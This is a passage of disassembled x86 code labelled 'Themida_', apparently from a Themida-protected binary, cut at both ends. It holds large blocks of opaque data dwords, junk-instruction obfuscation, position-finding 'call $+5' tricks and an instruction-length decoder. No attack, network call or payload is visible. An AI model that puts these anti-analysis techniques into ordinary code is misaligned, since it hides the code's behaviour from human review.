		dd 972AFBD8h, 0BF521AB7h, 418B4A04h, 8A32909Bh,	0B44643F1h
		dd 0D6F9DB20h, 852F00B1h, 78224AECh, 651557DFh,	3E090A8h
		dd 932CD432h, 8922CCA4h, 7C11C1AFh, 80171B6Eh, 0A34BA950h
		dd 3DD16315h, 0CED6F9C6h, 96D2621Dh, 0D18AE8B9h, 97540470h
		dd 0C76FCD9Fh, 0BD67092Eh, 9B4B29FFh, 9F326D09h, 692EC3ECh
		dd 97F90E3Fh, 9E6F0136h, 0AF8C3D40h, 9BF642FFh,	0DB8EF509h
		dd 845506C8h, 0BF78D6A7h, 0CB48F282h, 3, 14B65D26h, 0B6714E26h
		dd 510CE98Bh, 0F1AC89E7h, 924D2A46h, 30EBC8A4h,	0CE896606h
		dd 6A250266h, 9C4A1CBh,	9C613E2Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	2A79h
		mov	[esp], esi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	ecx
		mov	ecx, 4AA059A0h
		push	ecx
		push	20AD1912h
		pop	ecx
		sub	ecx, 0D42B18BEh
		mov	esi, ecx
		pop	ecx
		xor	esi, ecx
		pop	ecx
		push	46Eh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	edx
		mov	edx, esi
		push	edx
		sub	dword ptr [esp], 586E7D11h
		pop	dword ptr [ebp+8]
		add	dword ptr [ebp+8], 586E7D11h
		pop	edx
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_544162
; ---------------------------------------------------------------------------
		db 2Eh
		dd 6484B8FAh, 0C5030622h, 13C8C38Bh, 4A0FE811h,	0AE62A47Dh
		dd 71A1F088h, 3502049Ch, 70D878E0h, 85C7FE31h, 85788372h
		dd 241B310Ch, 78754647h, 884B2233h, 337900F0h, 76B73E30h
		dd 0DC193131h, 358C3574h, 0DD16315Bh, 35233132h, 6D526911h
		dd 31EC75B8h, 314075B0h, 35323127h, 0C4DA6171h,	0DCECC456h
		dd 35463125h, 28A19611h, 0C88754B6h, 0FDABED9Bh, 9E9C6EABh
		dd 326CEA81h, 2856318Fh, 880F5040h, 335B3468h, 0AA73E31h
		dd 5F913131h, 36206131h, 15643131h, 0BC6AF269h,	0B41D1575h
		dd 2F881575h, 75463131h, 2E6FF261h, 723FC9DDh, 361BD826h
		dd 278C3131h, 0F2323131h, 0D371AD6Bh, 2F36A118h, 29A605CBh
		dd 84D43DCEh, 0B01C68B2h, 33EA547Bh, 59A2B057h,	648C6168h
		dd 0BC6B3D49h, 35E61535h, 3545D963h, 6F033131h,	61186BF2h
		dd 71493515h, 35783515h, 67703131h, 7A8D0BF2h, 0BF0B2D39h
		dd 0B0CBD13Bh, 3301541Dh, 0DDC7315Bh, 35C83132h, 6BA76F11h
		dd 311645B8h, 313D75B0h, 358C312Dh, 5F856777h, 7DF26E38h
		dd 4D3CF4A8h, 35C83FD8h, 4D5B5F31h, 2FECD68h, 0B872CB0Ah
		dd 0A5E1FEB0h, 354638D9h, 74F9F431h, 954246C4h,	6596F76Ch
		dd 356423D9h, 651A1631h, 5D1B67AAh, 3D6BD62Dh, 32816115h
		dd 0BE9998F0h, 5F016FFBh, 36206231h, 15643131h,	0BC69F26Ah
		dd 0B41D156Dh, 2D881575h, 76463131h, 51ECF262h,	3A503D20h
		dd 0A037C086h, 337903BCh, 0DD65315Bh, 35193132h, 6A4F6E11h
		dd 31624DB8h, 310775B0h, 35913129h, 870B6676h, 0AD70660Ah
		dd 6388F1BAh, 0B6789013h, 289A588Ch, 3C333137h,	34028CB2h
		dd 4191372Ch, 0BE9B6128h, 311E89F1h, 0B0BB3131h, 33041B58h
		dd 93B1ACBCh, 0E6B9372Eh, 88A0696Ah, 338C3010h,	65DF4531h
		dd 311E8962h, 0B0BB3131h, 33041B58h, 96A0ACBCh,	0E6B9372Eh
		dd 3549696Ah, 3592D966h, 6AE83131h, 49ED6EF2h, 71B33515h
		dd 350F3515h, 62CB3131h, 7B6CF5F2h, 0BED66E63h,	62915BF1h
		dd 35C832D9h, 0F63B1131h, 114EB86Eh, 115DB035h,	358C2B35h
		dd 0F6117631h, 0EBEC6D9h, 0B8D2D3F9h, 17AD05ACh, 6F488E37h
		dd 0B0BF56FAh, 333B679Dh, 0DDDC315Bh, 35463132h, 6DE06911h
		dd 31B575B8h, 31EC75B0h, 35643126h, 91F16171h, 6616AFCBh
		dd 358C21D8h, 415E5031h, 0CDB93250h, 0E42E4E6Dh, 0B578DB19h
		dd 0E59B6B94h, 0DD62315Bh, 35193132h, 6D4F6911h, 316275B8h
		dd 310775B0h, 35913129h, 0BA0B6171h, 3DA9F072h,	353EB93Eh
		dd 0BF163131h, 358C3137h, 604EC7B0h, 0F528521Fh, 35ADB53Eh
		dd 0A8453131h, 33797DB8h, 353236D8h, 0B3BB2B31h, 0E8C2AA99h
		dd 35463289h, 0D6DCC431h, 0DDC0315Bh, 35C83132h, 6CA76811h
		dd 31167DB8h, 313D75B0h, 358C312Bh, 0CD856070h,	27135F81h
		dd 0A81CD87Ah, 33EA540Dh, 356425D8h, 87349B31h,	8844F082h
		dd 0EE6528F7h, 54322950h, 69DBAB32h, 0B01CC84Eh, 33EA679Dh
		dd 356423D8h, 7CFCFF31h, 211B3B0Dh, 9E6A4BF4h, 0AC8F6367h
		dd 0CAFEFC65h, 359DD8E1h, 7ADE3131h, 4F5A694Bh,	8EFF4390h
		dd 0F51261F8h, 35D7B53Eh, 0A8CB3131h, 333E7DB8h, 34293087h
		dd 5FC83131h, 368C6231h, 15323131h, 0BC42F26Ah,	0B488156Dh
		dd 21421575h, 76233131h, 53ADF262h, 111FE6B0h, 350ED2CEh
		dd 3531D964h, 68393131h, 59056CF2h, 71C73515h, 35353515h
		dd 60D43131h, 0BDF5B8F2h, 356439D8h, 696C3F31h,	0CB95D794h
		dd 7411BCBDh, 8B401354h, 2012F881h, 633DB4BCh, 35A23713h
		dd 3567D960h, 6C123131h, 799068F2h, 710D3515h, 35513515h
		dd 64623131h, 7AA6F1F2h, 6322B0A4h, 0BF186407h,	4DDFB1C5h
		dd 0C9A6E1CEh, 3E86DC35h, 4BC23EF1h, 0DD233131h, 3591313Bh
		dd 0F87EA214h, 4925B286h, 0D8B27794h, 0A8946FF6h, 33917DB8h
		dd 8DF7DFB1h, 35233132h, 0DDC4315Bh, 35C83132h,	68A76C11h
		dd 31165DB8h, 313D75B0h, 358C3126h, 0FE856474h,	0DCF02ED2h
		dd 35913125h, 3A01C189h, 22DB24EEh, 9825F3B1h, 176BC573h
		dd 0A6F498AEh, 352CD2CEh, 3520D961h, 6DB13131h,	714169F2h
		dd 71E53515h, 35273515h, 65593131h, 8C114DF2h, 2E7D40C7h
		dd 0BE2C72C8h, 35913131h, 50E28CBCh, 0B8E93713h, 331058FDh
		dd 7E454C89h, 0A00902BBh, 1E402C2Dh, 0A81CF0FEh, 33EA540Dh
		dd 356425D8h, 87349B31h, 8844F082h, 0EE6528F7h,	54322950h
		dd 0F305E983h, 0E8C08BA4h, 9, 0C272D4D6h, 4E341821h, 9E8E0h
		dd 0A19E0000h, 1729176Eh, 8BDD507Ah, 6A5E5EF1h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 124EC351h, 0F998849h, 483h, 0BA6600h, 8BC38B7Ah, 2830FC0h
		dd 8B000000h, 69BD83F7h, 61D16h, 0BD830975h, 61D0121h
		dd 50197400h, 0B8C08B53h, 47Ah,	0F3D8589h, 9D8D061Dh, 61FA6A4h
		dd 585BD3FFh, 121BD83h,	7400061Dh, 0B8535017h, 47Ah, 0F3D8589h
		dd 9D8D061Dh, 61FA345h,	585BD3FFh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 9FC35040h, 86192DD6h, 8E815h
		dd 0FD450000h, 7AB0A4D7h, 0F781F123h, 403B644Dh, 0C08BF95Eh
		dd 13CE9h, 4Fh dup(0)
		dd 4DBD8300h, 1061D12h,	5B9840Fh, 0C6F50000h, 1D1B2585h
		dd 8D0F4306h, 3, 0E861F960h, 4,	0ECA5D0F5h, 8B0F5250h
		dd 6, 310F5250h, 310F585Ah, 61605250h, 6160310Fh, 585A585Ah
		dd 0F8E0F50h, 0E9000000h, 0Ah, 0FBA3FA0h, 96F91446h, 448B362Fh
		dd 50600424h, 0F5E5252h, 8C0F31h, 5A000000h, 9BE6658h
		dd 8B6180h, 0F605250h, 8Ch, 51B1BF00h, 0F611075h, 52BF6031h
		dd 611FB764h, 4489585Ah, 50600424h, 13E852h, 9BE80000h
		dd 0FE54348Eh, 79356584h, 310AC5E4h, 8A321DCFh,	310F5BF7h
		dd 9896BF66h, 8B66585Ah, 6A5861CFh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 8229C350h
		dd 2E41457Fh, 60CA2C5Fh, 5870Fh, 0F5B90000h, 0E9475C3Ah
		dd 11h,	8EFA3424h, 89E96765h, 832C86AEh, 9DF9ED24h, 0FFF9611Dh
		dd 1D1805B5h, 7890F06h,	60000000h, 5EE38166h, 858D61EBh
		dd 62077FFh, 0FE960h, 0D43E0000h, 0DF4AAB5Ah, 3B9966E6h
		dd 0ADC4B5F4h, 0FFFC6101h, 0F8F0FD0h, 0E9000000h, 0Ah
		dd 0A740B06h, 0CE16D42Ah, 85899561h, 61D3249h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0D8C35747h, 0F0A57E35h
		dd 11E91E9Ch, 59000000h, 96864838h, 0D4AB2CEEh,	0C0E19131h
		dd 0C387DB17h, 1B2585C6h, 0F50061Dh, 1B84h, 13E86000h
		dd 90000000h, 0CDB77789h, 0A8F1932Eh, 9E604F5Ch, 1DE7A2D5h
		dd 615A129Ah, 0AA3C6268h, 0CA8B609Eh, 61D38B66h, 34243481h
		dd 0E9360791h, 5, 47DEA3Fh, 5B5FF60h, 60061D18h, 61D18B66h
		dd 77FF858Dh, 6A0620h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 28E8A5C3h, 0D3D5E9EBh, 6AD0FFh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 603237C3h, 5E51DF8Bh, 1890F61h, 0F8000000h, 2218589h
		dd 0DE9061Dh, 0BD000000h, 89FD2F43h, 6713D27Ah,	90805577h
		dd 4E8h, 8FA82F00h, 0F5250F0h, 68Eh, 820F00h, 0F000000h
		dd 6860F31h, 0F000000h,	89h, 50585A00h,	59526060h, 0A40ABA66h
		dd 0F38B6661h, 24448B61h, 98D0F04h, 60000000h, 35723EBAh
		dd 61616055h, 5250008Bh, 6810Fh, 860F0000h, 0
		dd 8F0F310Fh, 6, 810Fh,	585A0000h, 4244489h, 4830Fh, 0B1600000h
		dd 6A58612Eh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 7595C357h, 0D45BCD92h,	0F859C4A1h
		dd 0C880Fh, 800F0000h, 6, 8E0Fh, 0B5FF0000h, 61D1805h
		dd 0FD38B60h, 180h, 8D61FC00h, 2077FF85h, 8B666006h, 0AE9F1h
		dd 7AF10000h, 57009B6Ah, 219A183h, 60D0FF61h, 2750EFB9h
		dd 6170B276h, 21A58589h, 6A061Dh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 7A1C2DC3h, 0E9CB3FF7h
		dd 0Ah,	0A6B8759Bh, 8F378092h, 0AE9B6AAh, 70000000h, 0D0B85F5Ah
		dd 5B5132FAh, 2585C658h, 50061D1Bh, 1890Fh, 68F50000h
		dd 8CEAD50Dh, 8E95250h,	33000000h, 137B5622h, 0F69FB7Eh
		dd 60525031h, 60310F61h, 5A585A61h, 24048158h, 0AB20749h
		dd 0C880FF8h, 0F000000h, 684h, 850F00h,	0FF000000h, 1D11E5B5h
		dd 8E906h, 0E7350000h, 0CC942126h, 858D8C2Fh, 61D3A83h
		dd 0A850Fh, 5E90000h, 44000000h, 43B89FCh, 800FD0FFh, 18h
		dd 13E9h, 0A9F9D100h, 0F3A3E6C2h, 0DF77A139h, 2CA0FC0Dh
		dd 0B3F74E15h, 33718589h, 6A061Dh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 7E970C3h, 64000000h
		dd 3D55524Ah, 6660F0FCh, 8B66D78Bh, 8CE961D8h, 0FC000001h
		dd 0E9525095h, 5, 0CFFE21h, 60310F7Bh, 0BE9h, 2E6D9A00h
		dd 590E0473h, 1AE799BAh, 50585A61h, 0CE9h, 58E05000h, 70FD7444h
		dd 0DCD18B12h, 6A95B0h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 0DB81E1C3h, 0D0127FD9h, 0CE944D4h
		dd 79000000h, 34EE6E46h, 0A2986D74h, 0FD1A80Ch,	889h, 28B0F00h
		dd 60000000h, 60EC8B61h, 8B66B4B3h, 0C48361F1h,	0CE9FCh
		dd 0CA710000h, 0C772C3EBh, 210AA99h, 0F9608BD2h, 0E8h
		dd 0EA815A00h, 62270DDh, 0FC45C7h, 83000000h, 1D124DBAh
		dd 840F0106h, 98h, 6A006A52h, 4992FF0Fh, 5A061D32h, 6AC98289h
		dd 9A8D0622h, 6226ACDh,	2803C752h, 53000001h, 2192FF50h
		dd 5A061D02h, 0CD9A8D52h, 5306226Ah, 6AC9B2FFh,	92FF0622h
		dd 61D3371h, 74C00B5Ah,	0CD9A8D50h, 8D06226Ah, 0C933247Bh
		dd 104F981h, 0D4740000h, 393C8141h, 4558452Eh, 348DEE75h
		dd 0C752B39h, 1D81BA8Dh, 4D8B061Dh, 32A4F30Ch, 0FF52AAC0h
		dd 828D0875h, 61D1D81h,	0A592FF50h, 5A061D21h, 0A075C00Bh
		dd 1FC45C7h, 0EB000000h, 0FC45C707h, 0
		dd 0FC458B61h, 8C2C9h, 7E9h, 1F4D1900h,	116E939Dh, 17820Fh
		dd 12E90000h, 42000000h, 9F2272F4h, 9B9378A9h, 3FC7F88Bh
		dd 2003879Bh, 5E91Bh, 70430000h, 8B081BB8h, 598D8DD2h
		dd 29062272h, 1D02F595h, 0D18D8906h, 8A061D20h,	1D85C7D7h
		dd 9C061D33h, 6A00005Fh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 2D19C356h, 6B94A612h
		dd 0F985C717h, 61D2Bh, 0F000000h, 0B5FFF3BFh, 61D16C1h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 31C35040h
		dd 10A357Ch, 0C3A1BB9Ch, 95FF5CCEh, 61D1519h, 3758D89h
		dd 6A061Dh, 120995FFh, 0C08B061Dh, 9D3A5EEBh, 7F2E2140h
		dd 0DB313E51h, 15103329h, 47DBD7CAh, 0F522E07Ah, 6FD6C10Ah
		dd 53E3D4Fh, 0BBF630B2h, 9BCEB098h, 22618524h, 0F3BFD1ECh
		dd 0D944EB15h, 0CE4BA12h, 0B1AB5AAh, 0EBFABB88h, 0B00F54D3h
		dd 43D28A3Fh, 86C5B89Ah, 41B6449h, 68D75176h, 14C60E9Bh
		dd 0E8E86579h, 0CFAD9215h, 0AE8h, 829D9C00h, 4CAF356Bh
		dd 0E9FDB3AEh, 0Bh, 13181606h, 74959BE5h, 598B892Ch, 0C834CBEh
		dd 0FC1810Bh, 0E9000071h, 9, 731960C0h,	2BB9BA79h, 9C01BB1Dh
		dd 0F3815502h, 5502801Dh, 14E9h, 0BA66B900h, 2F3AE590h
		dd 38D80B4Ah, 804BAB41h, 556D4BF6h, 8B31FFAEh, 810F5FC6h
		dd 0
		dd 0E85EC781h, 816621DBh, 8160CFEAh, 8BB023EFh,	0BC8BE2Fh
		dd 0C7810173h, 10C1F735h, 0CA803989h, 1E9830Ch,	0F4D1F681h
		dd 49497AFBh, 19D2949h,	4B061D16h, 0FFBB850Fh, 0B523FFFFh
		dd 61D1F95h, 8E8h, 76A2AA00h, 35551A77h, 8A0BF69h, 0F5B6A5Eh
		dd 18Dh, 0C381F500h, 6AF3h, 0DE9h, 0F2FC7700h, 56F1F9C9h
		dd 0DC071C88h, 48BAC3AEh, 8139C7F4h, 382647C2h,	198C0FC6h
		dd 0E9000000h, 14h, 22B40BC6h, 3D4ED41h, 58AB009Fh, 0C49033A9h
		dd 7879D19Eh, 8B0F338Bh, 0Ch, 3DBE6660h, 0C9B531D0h, 61061D0Bh
		dd 0A086C681h, 0F6817BA4h, 27371813h, 68E0Fh, 0F0810000h
		dd 105E6768h, 49DBEE81h, 85896556h, 61D207Dh, 5B96656h
		dd 52038F78h, 2EB8358h,	1A098D33h, 4B4B061Dh, 337DB529h
		dd 0EA81061Dh, 1, 0FFA2850Fh, 8D29FFFFh, 61D1B29h, 266E9h
		dd 8C666000h, 4C1F6D9h,	35840Fh, 16A0000h, 11E5B5FFh, 858D061Dh
		dd 62077FFh, 8589D0FFh,	61D0761h, 0EFC1FE8Bh, 680Ch, 6A2006h
		dd 6857026Ah, 1000Dh, 76195FFh,	32E9061Dh, 0C6000000h
		dd 1D1B2585h, 0DF685606h, 0FFA9C530h, 1D1805B5h, 0FF858D06h
		dd 0FF062077h, 958589D0h, 8D061D2Ch, 1D009985h,	406A5006h
		dd 0FF56056Ah, 1D2C9595h, 0C36106h, 2 dup(0)
		dd 52000000h, 8B60D48Bh, 85890842h, 62274A7h, 890C428Bh
		dd 22749F85h, 10428B06h, 74A38589h, 0B58D0622h,	62274DDh
		dd 7E35858Dh, 0D0FF005Bh, 0CC25A61h, 0A7B58B00h, 8B062274h
		dd 22749F85h, 0A3BD8306h, 62274h, 7840Fh, 6890000h, 2E9h
		dd 0CF068800h, 2 dup(0)
		dd 60D48B52h, 8908428Bh, 2274A785h, 2EB58D06h, 8D062275h
		dd 5B7E3585h, 61D0FF00h, 0A7858B5Ah, 0C2062274h, 858B0004h
		dd 62274A7h, 8589008Bh,	62274A7h, 0CFh,	0B5896000h, 6227504h
		dd 75008589h, 858D0622h, 61D10FDh, 8944408Bh, 22753D85h
		dd 73B58D06h, 8D062275h, 5B7E3585h, 61D0FF00h, 7504858Bh
		dd 8BC30622h, 2275009Dh, 43B70F06h, 8BD8033Ch, 9D03785Bh
		dd 6227500h, 324738Bh, 227500B5h, 7B8B5606h, 1C738B20h
		dd 7500BD03h, 0B5030622h, 6227500h, 0FFC983FCh,	49D8B41h
		dd 8B062275h, 950317h, 83062275h, 28A04C7h, 840FC084h
		dd 0Fh,	850F033Ah, 0FFFFFFDCh, 0E7E94243h, 3AFFFFFFh, 0CD850F03h
		dd 5FFFFFFFh, 0B70FE1D1h, 48B0F04h, 850386h, 89062275h
		dd 22750485h, 8BF08B06h, 81C18BCEh, 22753DBDh, 30000006h
		dd 0D850FC0h, 0C1000000h, 0FC2514E8h, 0E900000Fh, 8, 2512E8C1h
		dd 3FF8h, 753DBD8Bh, 0C830622h,	148B0607h, 24C28B07h, 8B813C81h
		dd 57840FC1h, 81000000h, 22753DBDh, 30000006h, 0D850FC0h
		dd 0C1000000h, 0FC250AE8h, 0E9003FFFh, 8, 2509E8C1h, 7FFFF8h
		dd 2Dh,	6088340h, 8000F7h, 840F0000h, 1Eh, 753DBD81h, 622h
		dd 840FC030h, 0Eh, 3FF825h, 808B00h, 83C06000h,	8DCF0608h
		dd 2274AB85h, 0ED858906h, 8D061D28h, 22754185h,	55858906h
		dd 8D061D2Ah, 22750885h, 0D9858906h, 8D061D14h,	2277408Dh
		dd 0DE906h, 0EE880000h,	74C66E2Eh, 67F79287h, 893301ABh
		dd 1D20D18Dh, 6BC88006h, 331D85C7h, 7178061Dh, 820F0000h
		dd 6, 21A19D89h, 85C7061Dh, 61D2BF9h, 0
		dd 9810Fh, 8B0F0000h, 3, 0FFDBE680h, 1D16EDB5h,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 1995FF24h, 0F061D15h, 88Ch, 958B6000h, 61D1AC5h, 0FF006A61h
		dd 1D120995h, 0EBC08B06h, 0E2F7275Fh, 644DFC68h, 51F3BB9Fh
		dd 85C14BCAh, 47EC78FCh, 0B3A19DF5h, 55F49B7Eh,	5750146Fh
		dd 0AB9B7353h, 0D7A5EF35h, 7FB8441Ch, 727CB8FBh, 0EEC7719Ah
		dd 46316313h, 807E96D6h, 84824C63h, 768758E9h, 0BA222F42h
		dd 9BC6CF94h, 4AFC2FBCh, 0FFB8C4FAh, 7CD8FF88h,	203C3F12h
		dd 7E6A2F5Ah, 78638D8Dh, 8D0F0622h, 6, 2A4DB529h, 8D89061Dh
		dd 61D20D1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 14h,	0D4C35343h, 8800Fh, 8B570000h, 1D269DB5h, 858B5E06h
		dd 61D21C1h, 331D85C7h,	68E0061Dh, 0C7F80000h, 1D2BF985h
		dd 6, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 0D128BEA9h, 0AF216343h, 86DB5FFh
		dd 8D29061Dh, 61D2311h,	151995FFh, 6A061Dh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 5E9EDC3h
		dd 0D7000000h, 2DB4FC61h, 95FF006Ah, 61D1209h, 7DEBC08Bh
		dd 0E0C08DFh, 297BF4B1h, 75A47A93h, 99BB7D0Bh, 0EEF06706h
		dd 64540A26h, 92D0C044h, 279E621Ah, 0B48CA4B3h,	4AE17BDh
		dd 0A9D94D5Bh, 0DE819AE2h, 2899B523h, 0EBAED462h, 85D34A47h
		dd 1595726h, 3A39FAD1h,	0B58F680Bh, 8CB30F6Dh, 0C7EB2E15h
		dd 0F6C5E8B8h, 0BB374CC6h, 0BB0A472Bh, 0F656677Ch, 0CC5A5751h
		dd 0B7225A35h, 0FCA6EA0Eh, 6F4DE913h, 5C6DF03Ch, 26410D42h
		dd 0F75F3FEBh, 1C8E98Ah, 88880000h, 7 dup(88880041h), 41h
		dd 3 dup(0)
		dd 88000000h, 91C40000h, 11110000h, 11111111h, 99C91111h
		dd 88888888h, 8888h, 6000000h, 44440000h, 410000h, 11110000h
		dd 44441111h, 2994444h,	203C988h, 88880010h, 88880011h
		dd 11118888h, 16441111h, 0
		dd 8800h, 88888800h, 0
		dd 88880080h, 88888h, 88880000h, 88880808h, 8888h, 0
		dd 88880000h, 88888888h, 88808888h, 3 dup(88888888h), 99998800h
		dd 888h, 44448800h, 44444444h, 88884444h, 88888888h, 80008888h
		dd 80000099h, 88888899h, 89008888h, 88888888h, 8999h, 88800000h
		dd 88888088h, 88888888h, 88888088h, 88808888h, 88888888h
		dd 2E260888h, 65643E36h, 0F2F06766h, 0F3h, 0FFFF0000h
		dd 16E6FFFFh, 16FA0040h, 40h, 0
		dd 10000h, 14h dup(0)
		dd 80C30000h, 7577ED63h, 10000h, 11h dup(0)
		dd 53E90000h, 55000003h, 0E8h, 0ED815D00h, 6227ABDh, 0A85C760h
		dd 6227Ah, 66000000h, 0A1663E81h, 0F850Fh, 85C70000h, 6227A0Eh
		dd 6, 24E9h, 12858D00h,	5006227Ah, 7A62858Dh, 56500622h
		dd 1DE8006Ah, 83000000h, 0FF2510C4h, 89000000h,	227A0E85h
		dd 0B5036106h, 6227A0Eh, 7A0A858Bh, 0C35D0622h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	byte ptr [ebp-5], 0
		and	byte ptr [ebp-6], 0
		xor	dl, dl
		and	[ebp-1], dl
		cmp	dword ptr [ebp+8], 0
		jz	loc_593CF5
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		mov	byte ptr [ebp-2], 1
		jmp	loc_593D01
; ---------------------------------------------------------------------------


loc_593CF5:				; CODE XREF: Themida_:00593CDEj
		and	byte ptr [ebp-3], 0
		and	byte ptr [ebp-2], 0
		mov	byte ptr [ebp-4], 4


loc_593D01:				; CODE XREF: Themida_:00593CF0j
		push	ebx
		push	esi
		push	edi


loc_593D04:				; CODE XREF: Themida_:00593D59j
					; Themida_:00593D75j ...
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+10h]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl


loc_593D17:				; CODE XREF: Themida_:00593D3Ej
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6227B74h
		lea	ebp, [ebp+62279EAh]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_593D44
		inc	cl
		cmp	cl, 0Bh
		jb	loc_593D17


loc_593D44:				; CODE XREF: Themida_:00593D33j
		cmp	cl, 0Bh
		jz	loc_593DA1
		cmp	al, 66h
		jnz	loc_593D82
		cmp	byte ptr [ebp-5], 0
		jnz	loc_593D04
		cmp	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-5], 1
		jnz	loc_593D7A
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		jmp	loc_593D04
; ---------------------------------------------------------------------------


loc_593D7A:				; CODE XREF: Themida_:00593D67j
		and	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-4], 4


loc_593D82:				; CODE XREF: Themida_:00593D4Fj
		cmp	al, 67h
		jnz	loc_593D04
		cmp	byte ptr [ebp-6], 0
		jnz	loc_593D04
		xor	byte ptr [ebp-2], 1
		mov	byte ptr [ebp-6], 1
		jmp	loc_593D04
; ---------------------------------------------------------------------------


loc_593DA1:				; CODE XREF: Themida_:00593D47j
		mov	ebx, [ebp+14h]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_593DCD
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_593DD2
; ---------------------------------------------------------------------------


loc_593DCD:				; CODE XREF: Themida_:00593DACj
		movzx	edi, al
		shr	edi, 1


loc_593DD2:				; CODE XREF: Themida_:00593DC8j
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6227C2Ch
		lea	ebp, [ebp+62278EAh]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp-7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp-6], bl
		jz	loc_593F54
		mov	ebx, [ebp+0Ch]
		mov	byte ptr [ebp+0Bh], 1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	[ebp+17h], dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	byte ptr [ebp-5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_593E98
		dec	ecx
		jz	loc_593E7B
		dec	ecx
		jnz	loc_593EEB
		cmp	byte ptr [ebp-2], 0
		jnz	loc_593EE7
		cmp	byte ptr [ebp-5], 0
		jz	loc_593E5A
		mov	byte ptr [ebp+0Bh], 2


loc_593E5A:				; CODE XREF: Themida_:00593E50j
		add	byte ptr [ebp+0Bh], 4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6227CB8h
		mov	dword ptr [ebp+6227A0Ah], 1
		pop	ebp
		jmp	loc_593EEB
; ---------------------------------------------------------------------------


loc_593E7B:				; CODE XREF: Themida_:00593E35j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_593EC5
		cmp	byte ptr [ebp-5], 0
		jz	loc_593EC5
		mov	byte ptr [ebp+0Bh], 2
		jmp	loc_593EC5
; ---------------------------------------------------------------------------


loc_593E98:				; CODE XREF: Themida_:00593E2Ej
		cmp	byte ptr [ebp-2], 0
		jnz	loc_593EDE
		cmp	byte ptr [ebp-5], 0
		jz	loc_593ECD
		movzx	ecx, byte ptr [ebp+17h]
		mov	edx, [ebp+0Ch]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_593EC5
		mov	[ebp+0Bh], cl


loc_593EC5:				; CODE XREF: Themida_:00593E7Fj
					; Themida_:00593E89j ...
		inc	byte ptr [ebp+0Bh]
		jmp	loc_593EEB
; ---------------------------------------------------------------------------


loc_593ECD:				; CODE XREF: Themida_:00593EA6j
		cmp	dl, 5
		jnz	loc_593EEB
		mov	[ebp+0Bh], dl
		jmp	loc_593EEB
; ---------------------------------------------------------------------------


loc_593EDE:				; CODE XREF: Themida_:00593E9Cj
		cmp	dl, 6
		jnz	loc_593EEB


loc_593EE7:				; CODE XREF: Themida_:00593E46j
		mov	byte ptr [ebp+0Bh], 3


loc_593EEB:				; CODE XREF: Themida_:00593E3Cj
					; Themida_:00593E76j ...
		dec	byte ptr [ebp+0Bh]
		jz	loc_593F19
		movzx	ecx, byte ptr [ebp+0Bh]
		mov	[ebp+8], ecx


loc_593EFB:				; CODE XREF: Themida_:00593F11j
		movzx	esi, byte ptr [ebp+17h]
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+10h]
		inc	byte ptr [ebp+17h]
		dec	dword ptr [ebp+8]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_593EFB
		mov	esi, edx


